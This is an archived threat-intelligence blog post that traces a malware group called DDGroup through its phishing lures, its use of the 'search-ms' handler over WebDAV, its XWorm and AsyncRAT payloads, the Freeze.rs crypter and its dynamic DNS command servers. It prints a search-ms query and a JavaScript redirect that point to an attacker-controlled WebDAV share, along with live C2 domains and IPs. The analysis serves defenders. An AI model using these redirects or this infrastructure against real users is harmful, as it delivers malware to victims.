{
	"id": "d5891a4b-00d1-4293-b45a-b08a5a4ca525",
	"created_at": "2026-04-06T00:07:02.065017Z",
	"updated_at": "2026-04-10T03:21:12.339792Z",
	"deleted_at": null,
	"sha1_hash": "ecd7f6900f8dbbfcf62ca63e795c7d0f3e34c1f2",
	"title": "Uncovering DDGroup — A long-time threat actor",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1543595,
	"plain_text": "Uncovering DDGroup — A long-time threat actor\r\nBy Gi7w0rm\r\nPublished: 2023-09-08 · Archived: 2026-04-05 23:16:07 UTC\r\n16 min read\r\nSep 8, 2023\r\nSometimes when investigating malware, you come across something that calls your attention. Something that\r\nseems odd, something that seems noteworthy, or something that just sticks with you. This blog post is the result of\r\njust that. But let's start from the beginning…\r\nSummary:\r\nIn the following blog post, we are going to have a look at a new attacker group I discovered by sheer coincidence.\r\nI will start off by describing a new attack vector described by Trellix Security, which abuses the “search-ms” URI\r\nhandler to trick victims into opening a malicious file. From there, I will describe the encounter of an in-the-wild\r\nattack, which unexpectedly led me to the discovery of tons of indicators related to a Threat Actor that has been\r\nmentioned in several articles since February 2022, but has never been named or specifically described. I was able\r\nto track back their activity to at least the beginning of 2019, but I do believe the activity goes far beyond that. I am\r\ngoing to introduce their lures, some of the campaigns they have done so far, and some specific characteristics they\r\nshow. Buckle up, it is probably going to be a long and interesting read. ^^\r\nChapter 1: The “search-ms” URI handler abuse\r\nOn August 7, 2023, researchers at security company Trellix released a post about a new kind of attack vector,\r\ntargeting Windows Users via the “search-ms” protocol. While the theory behind this attack vector is not new,\r\nTrellix had observed it in several in-the-wild attacks, bundled with some new methods to compromise users.\r\n“search-ms” is a URI handler implemented in Microsoft Windows. If my research is correct it has been introduced\r\nin Windows XP and has been present and expanded on ever since. To understand how this protocol works, here is\r\na sample query as taken from an actual attack:\r\nsearch-ms:query=Invoice_4532\u0026crumb=location:\\\\\\\\[AttackerIP]@5000\\\\DavWWWRoot\u0026displayname=Search'\r\nThis query has several parts. Let's look at them individually to better grasp what is going on:\r\n1. search-ms : This is the URI handler in question. Similar to “http:” or “ldap” it defines the protocol used to\r\nhandle a specific URI. In this case the rest of the string defines a query to be handled by Windows Search.\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 1 of 15\n\n2. query=Invoice_4532 : This part defines what should be searched for. In this case we will search the\r\nlocation given in the next argument for the term “Invoice_4532”.\r\n3. crumb=location: : This feature is implemented since Windows Vista and supports AQL statements. It is\r\nused to narrow the scope of where a query should be searched.\r\n4. location:\\\\\\\\[AttackerIP]@5000\\\\DavWWWRoot : This is the location we want to search. It is actually\r\nwhere the main magic happens because, besides locations that are on your local device, this parameter\r\nactually allows you to search remote locations as well. However, if everything works as intended, there is\r\nno actual warning that the user is querying a remote drive. An inexperienced user might not even notice it\r\nat all. Note that the part behind the “@” symbol is actually the port and path used.\r\n5. displayname=Search : This argument defines the name shown in the explorer window for the particular\r\nquery.\r\nTrellix observed that the above-described URI handler was abused in a set of attacks where an attacker would\r\nmake a victim (unknowingly) open a search URL that queried an attacker-controlled server. Initiated through\r\neither a direct phishing link sent to the victim or through a malicious attachment, the victim would be redirected to\r\nsearch for a specific file name (aligning with the lure) on an attacker-controlled server. In most cases this was\r\ndone by having the victim open a webpage, which had the following javascript redirect included:\r\n\u003cscript\u003e\r\nwindow.location.href = 'search-ms:query=[Filename]\u0026crumb=location:\\\\\\\\[Attacker_IP]\\\\DavWWWRoot\u0026displ\r\n\u003c/script\u003e\r\nUpon opening this page, the victim would be prompted to open the page with the adequate application (Windows\r\nExplorer), as seen in the image below:\r\nPress enter or click to view image in full size\r\nFigure 1: Redirect to Windows Explorer\r\nIf permitted, the victim would be greeted by this:\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 2 of 15\n\nFigure 2: Query from attack\r\nAs you can see, in this case, the particular attack campaign was already over and so the “invoice6688” file had\r\nbeen deleted. Still, you can observe the query executed in the top right search bar and also the name of the query\r\ngiven as “Search” in the middle top bar and on the very top in the tab name.\r\nIn an attack scenario, there are obviously many file types you could put here to be executed by the victim. From\r\n.exe to .lnk, as long as the victim believes the file is on their device and they double-click it, the attack will be\r\nsuccessful.\r\nInitially, I was really intrigued by this new technique. I was planning to write a blog on it and collected some\r\nadditional information, including a PoC for my local environment. However, I stumbled upon a great medium post\r\nby Micah Babinski who thoroughly covered the topic and I just had nothing to add to it. So instead I had a closer\r\nlook at the IoC given by Trellix and tried to find additional IoC that could be linked to this campaign. I found that\r\nsome of the servers used in the attacks described by Trellix had actually been used for Microsoft Office Phishing\r\nprior to this new campaign. However, all links listed by Trellix were down and I only ended up at dead ends. I\r\ndecided to stop my investigation and as a last thing I warned my colleagues and industry peers about this new\r\nvector, as ever since Microsoft blocked Macro-based documents, attackers are very fast to adapt to new attack\r\nvectors. So better be prepared to see this more often.\r\nChapter 2: An Unexpected Hit\r\nOne of the key advantages you have, if you are active in the infosec space of social media, is the various contacts\r\nyou make over time. Besides the fact that you can learn a lot from industry peers if communicating with sufficient\r\npeople, there are always some interesting things knocking at your door when you least expect them. In the case of\r\nthis blog post, the day after investigating this new attack vector, I received a message from my friend and industry\r\npeer Fate112. Fate had recently observed an increased amount of phishing targeting one of the organizations he is\r\nresponsible for. As I had noticed some phishing pages on the same servers that were used for the “search-ms”\r\nattacks, I had warned him the day before. He actually went on to scan his logs for characteristic patterns of the\r\n“search-ms” attack pattern and found a hit! In this case, the execution was prevented by the AV, but it gave me an\r\nin-the-wild case to analyze. Awesome! :D\r\nSo, let’s dig into the attack chain:\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 3 of 15\n\nFigure 3: Execution Flow ITW attack\r\nAs you can see, the attack is pretty much the same as we have just learned about. An invoice-themed phishing\r\nmail was received by one of the company's employees. A malicious PDF file was attached, showing a typical lure\r\nof a “protected document” that contains a link to view the alleged content. The lure can be seen below:\r\nPress enter or click to view image in full size\r\nFigure 4: Lure Invoice.pdf with link to “search-ms” redirect\r\nAs the filters of the attacked network prevented execution, I was not able to obtain the final payload. However, we\r\nwill later see what it would likely have been.\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 4 of 15\n\nChapter 3: Investigating Attackers Infrastructure\r\nAfter confirming that we had observed an in-the-wild attack using the new “search-ms” attack vector described by\r\nTrellix, I was of course curious to see which actor had picked up the method that fast. I was sure it must be a\r\nsophisticated actor as you don’t normally see actors adapting so fast. So I started to dig into their infrastructure. A\r\nfirst hint that there was more to find was shared by my fellow researcher RussianPanda:\r\nAs you can see, there are many further associated paths and files to the WebDav Server used by our attacker.\r\nPanda was so kind to share the associated dll’s with me. And indeed, they turned out to be XWorm.\r\nAssociated C2s:\r\nsecoundxwormm.ddns[.]net\r\nfreshinxworm.ddns[.]net\r\nThe use of dynamic DNS domains for C2 communications is a central technique in the arsenal of the DDGroup\r\nactor. We are going to have a thorough look at the network indicators related to this actor in a later part of this\r\nblog post.\r\nHowever, I would like to point out another interesting detail:\r\nWebDav Environments as used in this attack can actually be queried as well. If you skip the predetermined search\r\nterm (Invoice-xyz), you actually get all files currently available on the WebDav Server. So when revisiting the\r\nserver's IP on 09.08.2023, the Invoice files of the before-described attack were already gone. However, there were\r\nthe following files available:\r\nPress enter or click to view image in full size\r\nFigure 5: Files available (via Explorer.exe)\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 5 of 15\n\nFigure 6: Files available (via Chrome)\r\nAs you can see, there was yet another .dll file, which turned out to be AsyncRAT.\r\nAssociated C2 domains:\r\nDarwin090.gleeze[.]com\r\nrandall010.camdvr[.]org\r\nNote: Both camdvr and gleeze are dynamic DNS domains by a DNS provider called Dynu Systems, Inc.\r\nHowever, what may be even more interesting is the “server.exe” file with the SHA-256 hash:\r\nad91669c04a71d1adedd3800fcfb505734e442a891a532e1ad18c54b05acc98d\r\nPress enter or click to view image in full size\r\nFigure 7: server.exe executed in Sandbox\r\nIf you enter this hash into the search function of VirusTotal, you will see that this file has previously been\r\nsubmitted as dufs.exe.\r\nA little Google investigation later, we can identify the application as an open-source file-sharing server from\r\nGitHub: https://github.com/sigoden/dufs.\r\nAmong the multiple functionalities of this server is the WebDAV protocol. It is therefore very likely we have\r\nfound the software used for setting up the attacker's WebDAV environment.\r\nIn addition, when I first stumbled upon the server, there was a digital breadcrumb left which led me to another\r\nWebDAV server by this attacker:\r\nhttp://192.155.91[.]72:5000/dufs.exe.\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 6 of 15\n\nWhen looking at that IP in Virustotal, we can yet again make out associated files. They make use of the same\r\n“Invoice” related scheme. One of these files is Invoice_RVSJKAM02GH_pdf.lnk with the sha-256 hash:\r\n84d32881ef43a7662841c032d263478fb93c5bac82a126a0d06daf685ad7fa3c.\r\nIt downloads a file called: http://192.155.91.72:5000/Invoice.vbs which in turn downloads a .jpeg file from\r\nhttps://cdn.pixelbin[.]io/v2/red-wildflower-1b0af4/original/universo_vbs.jpeg . Sadly, the image file was not\r\navailable anymore. However, the Invoice.vbs file actually hints that it would have contained code to decrypt yet\r\nanother payload sitting at https://winyardbuilding[.]nz/B/1vcf.txt. It is assumed that ultimately the final payload\r\nwould likely have been yet another piece of off-the-shelf malware with dynamic DNS C2. We will have a look at\r\nfurther network indicators in a later chapter. However, before doing so, let's have a look at the previously\r\ndiscovered payloads of XWorm and AsyncRAT.\r\nChapter 4: The Unknown Crypter\r\nWhen first analyzing the payloads used in the WebDAV attacks described in Chapters 2 and 3, an unknown\r\nCrypter was observed. While Payloads like XWorm and AsyncRAT are normally well-known and therefore well\r\ncovered by common detection tools and online sandboxes, the DLL files in this attack only got a 3/10 rating in the\r\nonline sandbox service tria.ge with successful executions going as low as 1/10 detection rate as seen in the\r\nfollowing analysis: https://tria.ge/230807-zbx56shc85/behavioral2\r\nThe detection service Intezer did not perform any better and was not able to name/identify XWorm as such\r\n(although generic malware was successfully detected): https://analyze.intezer.com/analyses/efa9bcff-0f2a-4805-\r\n8761-56b8c7024a1b/genetic-analysis\r\nSo I had a closer look at the binaries. The first thing I did was look at the strings extracted by Intezer:\r\nPress enter or click to view image in full size\r\nFigure 8: Some of the extracted strings\r\nWhen looking at the extracted strings, two things immediately stick out.\r\nFirst of all, we seem to be dealing with a binary written in the RUST programming language, which is identifiable\r\nby the .rs files being imported. It is an interesting choice because RUST has been increasingly used by malware\r\nauthors to evade Antivirus and Malware Detection solutions due to it being less used for malware creation than\r\nolder languages like C# or C++. It also makes reversing harder as there are fewer talented reverse engineers for\r\nprogramming languages with lesser use.\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 7 of 15\n\nAdditionally, we can see that there is actually a PDB path inside the binary:\r\n“C:\\Users\\Administrator\\Desktop\\crock\\target\\release\\deps\\crock.pdb”\r\nHowever, as much as I searched for this pdb path, I was not able to find any mention of it. Which is normally not\r\ncommon as the average criminal mostly opts for off-the-shelf encryptors. The only reason that seemed legitimate\r\nto me was that I was looking at a previously undocumented crypter, maybe even something self-coded by the\r\nactor.\r\nOf course, this possibility was very intriguing, as it was going in contrary to all prior observations concerning the\r\nuse of off-the-shelf malware, dynamic DNS C2s, and open-source tools like the Dufs file-sharing server.\r\nAt this time, I sent off another Tweet:\r\nSometimes you just have to admit that your capabilities are not sufficient in a certain area and I am definitely not\r\nan expert reverse engineer and even less so in the RUST language.\r\nAs a response to this tweet, I was contacted by a fellow researcher who goes by the handle cxiao. Cxiao was quick\r\nto point out that he was surprised that the online scanning services had done such a poor job in detecting the threat\r\nas the obfuscator actually did a straightforward process injection into the default Windows editor “notepad.exe”.\r\nCxiao was also able to point me toward the likely used crypter/packer for this malware. And guess what? It is\r\nopen source again: https://github.com/optiv/Freeze.rs\r\nWhile we were not able to prove it without doubt, the following technical details make me confident in this\r\nassessment:\r\n1. The targeted process for injection is “notepad.exe”, which in the Freeze.rs code is the default process to be\r\ntargeted.\r\n2. The target process is created with the CREATE_SUSPENDED flag (0x4)\r\n3. At the beginning of the main function in the code (virtual address 0x1800011c0 in the sample with Sha-256: afd38445e5249ac5ac66addd18c20d271f41c3ffb056ca49c8c02f9fecb4afcb), there are the following\r\nthree calls to the Win32 API, which attempt to hide the console window:\r\n1800011e6 HWND hWnd = GetConsoleWindow();\r\n1800011f3 ShowWindow(hWnd, SW_HIDE);\r\n1800011f8 int32_t lpEnvironment = 3;\r\n180001220 SetWindowPos(hWnd, -2, 0, 0, 0, 0, 0x3);\r\nThis exactly matches the code in the hide function in Freeze.rs:\r\nhttps://github.com/optiv/Freeze.rs/blob/52f0bc0f301182c9d18afd89bfda1d69e2cef31b/lib/src/lib.rs#L142C1-\r\nL142C1.\r\nGet Gi7w0rm’s stories in your inbox\r\nJoin Medium for free to get updates from this writer.\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 8 of 15\n\nRemember me for faster sign in\r\nNote that the proper way to hide the console Window for Rust applications is by using the #![windows_subsystem\r\n= “windows”] attribute in your program — I am not sure why they did it this way, as these function calls are pretty\r\ndistinctive for detection.\r\n4. At 0x1800014a3, they call a function (at 0x1800036b0 ) which maps in C:\\Windows\\System32\\ntdll.dll via\r\ncalling CreateFileMappingW, MapViewOfFile. They parse the PE headers and specifically look for the address of\r\nthe .text section; they look for both the string .text and the string REASON in there. This matches the code in\r\nthese places exactly:\r\nhttps://github.com/optiv/Freeze.rs/blob/52f0bc0f301182c9d18afd89bfda1d69e2cef31b/lib/src/lib.rs#L171,\r\nhttps://github.com/optiv/Freeze.rs/blob/52f0bc0f301182c9d18afd89bfda1d69e2cef31b/lib/src/lib.rs#L208\r\n5. A weird cryptographic mistake was observed, in which a Base64 encoded “IV” value is defined for the RC4\r\nalgorithm. RC4 does not make use of an IV. This matches:\r\nhttps://github.com/optiv/Freeze.rs/blob/52f0bc0f301182c9d18afd89bfda1d69e2cef31b/lib/src/lib.rs#L375\r\nIn regards to the observed unidentified pdb path, cxiao actually pointed out a solution I had not thought about\r\nbefore:\r\nFor the PDB path we see (C:\\\\Users\\\\Administrator\\\\Desktop\\\\crock\\\\target\\\\release\\\\deps\\\\crock.pdb)\r\n— when generating payloads with Freeze.rs, the user is able to specify what the output name they want\r\nis (e.g. crock.exe, crock.dll). Freeze.rs then creates a generated folder with the first part of that name\r\n(e.g. crock), writes the generated Rust build files and source files into that folder, then does a build of a\r\nnew Rust binary from that folder:\r\nhttps://github.com/optiv/Freeze.rs/blob/52f0bc0f301182c9d18afd89bfda1d69e2cef31b/src/main.rs#L133\r\nThis will result in, by default, a PDB path which has the name of the generated project (crock.pdb)\r\nSo once again we observed our actor making use of open-source tooling to prepare their attacks.\r\nChapter 5: The same actor — over and over again\r\nNow, let us get to the part where things get really interesting which is also why I decided to give the actor a name\r\nand dedicate this whole blog post to their activities.\r\nWhen I normally see an actor making use of dynamic DNS services for C2 connections, paired with open-source\r\ntooling, I am mostly convinced to be looking at a non-sophisticated actor. And on this occasion, it seems that this\r\nis how a rather big fish was able to evade public attention for a long time.\r\nLet us have a look at the previously discovered C2 servers:\r\nsecoundxwormm.ddns[.]net\r\nfreshinxworm.ddns[.]net\r\nDarwin090.gleeze[.]com\r\nrandall010.camdvr[.]org\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 9 of 15\n\nAs we all know, domains usually point at IP addresses using the DNS protocol. And this is not different with\r\ndynamic DNS domains. Luckily, I have access to a great tool for DNS history data called Axon Intel by Validin\r\nLLC (*). Together with other known search tools like OTX Alienvault and VirusTotal, it is not difficult to get a\r\nhistory of IP addresses associated with the above C2 domains.\r\nLet us start with secoundxwormm.ddns[.]net. Using AxonIntel we can quickly determine that the domain\r\npreviously pointed at IP: 154.53.51.233\r\nHere is a screenshot of the history of that IP:\r\nPress enter or click to view image in full size\r\nFigure 9: AxonIntel DNS history for 154.53.51.233\r\nNoticed something? There is two other dynamic DNS domain that pointed at this IP for the same timeframe, one\r\nof them we have seen before: freshinxworm.ddns[.]net and one is new: quasharr.ddns[.]net\r\nLet's have a look at quasharr.ddns[.]net it in VirusTotal:\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 10 of 15\n\nAs you can see, there is some evil associated. “invoice.bat” even fits the Invoice-themed lures observed for the\r\nother C2s. Interesting, was that a lucky hit? Let's try with freshinxworm.ddns[.]net.\r\nPress enter or click to view image in full size\r\nFigure 10: AxonIntel DNS history for freshinxworm.ddns[.]net\r\nAs you can see, the domain has been pointing to 3 different IPs in the timeframe of one month. It is likely the\r\nsame actor. Let's have a look at the IPs:\r\n89.117.72.232 and 154.12.233.76\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 11 of 15\n\nFigure 11: AxonIntel DNS history for 89.117.72.232\r\nPress enter or click to view image in full size\r\nFigure 12: AxonIntel DNS history for 154.12.233.76\r\nWell, at this point I think we can all agree that quasharr.ddns[.]net is also linked to DDGroup.\r\nLet us have a look at this newfound domain in AxonIntel:\r\nPress enter or click to view image in full size\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 12 of 15\n\nFigure 13: AxonIntel DNS history for quasharr.ddns[.]net\r\nAs you can see, this domain was very busy. Let's have a look at one of the more interesting IPs:\r\nPress enter or click to view image in full size\r\nFigure 14: AxonIntel DNS history for 154.12.234.207\r\nAs you can see, there are 5 additional dynamic DNS domains here. And if we look at them in VirusTotal, we\r\nwould see that all of them have been associated with off-the-shelf malware like QuasarRAT, BitRat, and similar.\r\nI don’t want to bore you with the details but this search can be continued. To be totally honest with you, I have\r\nprobably already lost half my hair because whenever I thought I would finally have arrived at the beginning of this\r\nactor's career, I found another IP that has several new DynDNS Domains associated, all following the same\r\nscheme.\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 13 of 15\n\nSo far I have been able to associate over 110 dynamic DNS spanning over 94 IP Addresses with this actor. I\r\nam able to track this actor's activity to late 2019 and the only reason I did not track further was because of the\r\nsheer overwhelming amount of domains and IPs in my lists. Manual tracking can only bring you this far if you\r\nwant to keep your sanity ^^\r\nChapter 6: I am not the only one\r\nWhat is very interesting to me is that this actor has played a role model for new attack vectors on more than one\r\noccasion. Not only is DDGroup one of the first actors to use the new WebDAV / “search-ms” technique. They also\r\nwere one of the first actors to make use of the OneNote malware delivery technique back in January 2023:\r\n(C2: wormxwar.ddns[.]net )\r\nwhich was also observed by my friend and colleague 0xToxin:\r\n(IP has DNS History links to: quasharr.ddns[.]net, newtryex.ddns[.]net, wormxwar.ddns[.]net,\r\nretsuportm.ddnsfree[.]com, mywormtwon.ddns[.]net, spreadrem1.ddnsfree[.]com)\r\nThe same IP was mentioned in a Trellix article in regards to OneNote spreading as well:\r\nThey also made it into a recent article by Fortinet describing the new WebDAV attack vector using infrastructure\r\nthat replaced the one I described at the beginning of this blog post:\r\nhttps://www.fortinet.com/blog/threat-research/malware-distributed-via-freezers-and-syk-crypter\r\nAssociated C2s: freshinxworm[.]ddns[.]net, churchxx[.]ddns[.]net, plunder[.]ddnsguru[.]com,\r\nplunder[.]dedyn[.]io, plunder[.]jumpingcrab[.]com, plunder[.]dynnamn[.]ru )\r\nIn the article, Fortinet also points out the use of “Freeze.rs”.\r\nWith all these mentions in public reports, I can only assume why no one ever cared to have a closer look at this\r\nactor.\r\nChapter 7: Other Observations and Outlook\r\nAs you have seen, DDGroup is a very active actor whose activity spans over the years. The observed arsenal\r\nincludes many open-source tools and commercial RATs.\r\nTo give an overview, here is a list of all observed tools and malware types the actor has been using in recent years:\r\n1. Remcos RAT\r\n2. ModiLoader / DBatLoader\r\n3. Quasar RAT\r\n4. AsyncRAT\r\n5. BitRat\r\n6. Warzone RAT / AveMaria RAT\r\n7. NetWire RAT\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 14 of 15\n\n8. XWorm\r\nAdditionally, I observed the use of:\r\n1. https://github.com/optiv/Freeze.rs\r\n2. https://github.com/sigoden/dufs\r\nWhile the actor currently seems to favor servers by the German Hosting Provider Contabo, there seems to be no\r\npreference in regards to Dynamic DNS providers.\r\nI really hope this article will be a reason for a CTI company with more resources than me to look into this matter.\r\nMeanwhile, a list of all associated C2 IP addresses, a list of all associated dynamic DNS domains, and a joint list\r\nshowing their association can be found here:\r\nChapter 9: Thank you\r\nWell, this chapter has no technical details in it. However, I have to thank some individuals for their immense help\r\nwith the work on this investigation. All individuals in the list below played a role in this and I am very thankful to\r\neach and every one of them:\r\nRussianPanda\r\nFate112\r\nAli Aqeel\r\ncxiao\r\nfr0gger\r\nIsrael Torres\r\nI also want to thank every reader of this post who makes it to the end. I always hope to make these posts\r\nentertaining and educational but this is by far my longest piece so far and if you made it here I really appreciate\r\nhaving had your attention.\r\nBefore you go, you might want to check out my link tree: https://linktr.ee/gi7w0rm or consider a donation via Kofi\r\nto help me finance my research.\r\nHave a nice day.\r\nCheers ❤\r\n((*)Disclaimer: I am not in any way or form affiliated with Validin LLC, but I have known their CEO for a while\r\nand I really like the work they do. Check them out here: https://validin.com/ )\r\nSource: https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nhttps://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4"
	],
	"report_names": [
		"uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4"
	],
	"threat_actors": [],
	"ts_created_at": 1775434022,
	"ts_updated_at": 1775791272,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ecd7f6900f8dbbfcf62ca63e795c7d0f3e34c1f2.pdf",
		"text": "https://archive.orkl.eu/ecd7f6900f8dbbfcf62ca63e795c7d0f3e34c1f2.txt",
		"img": "https://archive.orkl.eu/ecd7f6900f8dbbfcf62ca63e795c7d0f3e34c1f2.jpg"
	}
}